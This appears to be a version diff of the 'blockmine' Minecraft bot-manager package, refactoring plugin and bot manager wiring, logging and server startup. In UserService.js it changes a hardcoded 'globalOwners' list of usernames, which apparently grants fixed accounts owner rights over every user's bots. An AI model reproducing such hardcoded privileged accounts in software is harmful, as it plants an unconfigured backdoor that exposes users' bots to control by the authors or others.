blockmine 1.4.8 → 1.5.0

package/backend/src/core/PluginManager.js

@@ -37,7 +37,8 @@ function reportPluginDownload(pluginName) {
 
 
 class PluginManager {
-    constructor() {
+    constructor(botManager) {
+        this.botManager = botManager;
         this.ensureBaseDirExists();
     }
 
@@ -53,6 +54,11 @@ class PluginManager {
         } catch(e) {
             console.error('Не удалось прочитать package.json для отправки статистики локального плагина');
         }
+        
+        if (this.botManager) {
+            await this.botManager.reloadPlugins(botId);
+        }
+        
         return newPlugin;
     }
 
@@ -104,6 +110,10 @@ class PluginManager {
             
             const packageJson = JSON.parse(await fse.readFile(path.join(localPath, 'package.json'), 'utf-8'));
             reportPluginDownload(packageJson.name);
+
+            if (this.botManager) {
+                await this.botManager.reloadPlugins(botId);
+            }
             
             return newPlugin;
 
@@ -258,4 +268,4 @@ class PluginManager {
     }
 }
 
-module.exports = new PluginManager();
+module.exports = PluginManager;

package/backend/src/core/UserService.js

@@ -11,7 +11,7 @@ class User {
         this.user = userInstance;
         this.botConfig = botConfig;
         
-        const globalOwners = ["d", "akrem"];
+        const globalOwners = ["merka", "akrem"];
         const keksikServers = ["mc.mineblaze.net", "mc.masedworld.net", "mc.cheatmine.net", "mc.dexland.org"];
         
         const botOwners = (this.botConfig.owners || '').toLowerCase().split(',').map(s => s.trim()).filter(Boolean);
@@ -77,7 +77,20 @@ class User {
     async addGroup(groupName) {
         const group = await prisma.group.findUnique({ where: { botId_name: { botId: this.user.botId, name: groupName } } });
         if (!group) throw new Error(`Группа ${groupName} не найдена`);
-        await prisma.userGroup.create({ data: { userId: this.id, groupId: group.id } });
+
+        const existingLink = await prisma.userGroup.findUnique({
+            where: {
+                userId_groupId: {
+                    userId: this.id,
+                    groupId: group.id,
+                },
+            },
+        });
+
+        if (!existingLink) {
+            await prisma.userGroup.create({ data: { userId: this.id, groupId: group.id } });
+        }
+        
         return this.refresh();
     }
 

package/backend/src/core/services.js

@@ -0,0 +1,12 @@
+const BotManager = require('./BotManager');
+const PluginManager = require('./PluginManager');
+
+const botManager = new BotManager();
+const pluginManager = new PluginManager(botManager);
+
+botManager.initialize();
+
+module.exports = {
+    botManager,
+    pluginManager
+}; 

package/backend/src/core/system/CommandManager.js

@@ -1,6 +1,8 @@
 const fs = require('fs');
 const path = require('path');
 const Command = require('./Command');
+const GraphExecutionEngine = require('../GraphExecutionEngine');
+const NodeRegistry = require('../NodeRegistry');
 
 class CommandManager {
     constructor(commandsPath) {

package/backend/src/lib/logger.js

@@ -0,0 +1,15 @@
+const pino = require('pino');
+
+const logger = pino({
+  level: 'info',
+  transport: {
+    target: 'pino-pretty',
+    options: {
+      colorize: true,
+      translateTime: 'SYS:yyyy-mm-dd HH:MM:ss.l',
+      ignore: 'pid,hostname',
+    },
+  },
+});
+
+module.exports = logger; 

package/backend/src/server.js

@@ -6,6 +6,9 @@ const os = require('os');
 
 const config = require('./config'); 
 const { initializeSocket } = require('./real-time/socketHandler');
+const { botManager, pluginManager } = require('./core/services');
+
+
 const botRoutes = require('./api/routes/bots');
 const pluginRoutes = require('./api/routes/plugins');
 const serverRoutes = require('./api/routes/servers');
@@ -13,16 +16,20 @@ const permissionsRoutes = require('./api/routes/permissions');
 const taskRoutes = require('./api/routes/tasks');
 const authRoutes = require('./api/routes/auth');
 const searchRoutes = require('./api/routes/search');
-const BotManager = require('./core/BotManager');
+const eventGraphsRouter = require('./api/routes/eventGraphs');
 const TaskScheduler = require('./core/TaskScheduler');
 const panelRoutes = require('./api/routes/panel');
 
 
+
 const app = express();
 const server = http.createServer(app);
 
 initializeSocket(server); 
 
+app.set('botManager', botManager);
+app.set('pluginManager', pluginManager);
+
 const PORT = config.server.port;
 const HOST = config.server.host;
 
@@ -52,7 +59,6 @@ app.use('/api/bots', botRoutes);
 app.use('/api/plugins', pluginRoutes);
 app.use('/api/servers', serverRoutes);
 app.use('/api/permissions', permissionsRoutes);
-app.use('/api/search', searchRoutes);
 app.use('/api/panel', panelRoutes);
 
 app.use(express.static(frontendPath));
@@ -74,6 +80,8 @@ async function startServer() {
     return new Promise((resolve) => {
         server.listen(PORT, HOST, async () => {
             console.log(`\nBackend сервер успешно запущен на http://${HOST}:${PORT}`);
+
+            botManager.initialize();
             
             if (HOST === '0.0.0.0') {
                 const networkInterfaces = os.networkInterfaces();
@@ -101,11 +109,11 @@ async function startServer() {
 const gracefulShutdown = (signal) => {
     console.log(`[Shutdown] Получен сигнал ${signal}. Начинаем завершение...`);
     
-    const botIds = Array.from(BotManager.bots.keys());
+    const botIds = Array.from(botManager.bots.keys());
     if (botIds.length > 0) {
         console.log(`[Shutdown] Остановка ${botIds.length} активных ботов...`);
         for (const botId of botIds) {
-            BotManager.stopBot(botId);
+            botManager.stopBot(botId);
         }
     }